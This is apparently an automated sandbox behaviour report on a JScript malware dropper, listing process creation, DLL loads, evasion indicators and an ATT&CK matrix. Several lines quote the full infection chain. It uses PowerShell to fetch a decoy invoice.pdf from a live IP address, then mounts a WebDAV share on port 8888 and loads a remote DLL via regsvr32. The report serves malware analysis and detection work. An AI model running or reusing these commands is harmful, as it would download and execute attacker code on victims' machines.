Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8190.js.csv");ITextStream.WriteLine(" entry:8433 f:rslgi");ITextStream.WriteLine(" exec:2 f:rslgi");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4634			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5216			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 432	Thread sleep count: 4634 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 432	Thread sleep count: 5216 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6348	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4220	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1848	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1048	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2105262327.00000283916A7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2102143657.000002839170E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2105815743.000002839170E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3341073435.000001A76A424000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3343189414.000001A76FA55000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
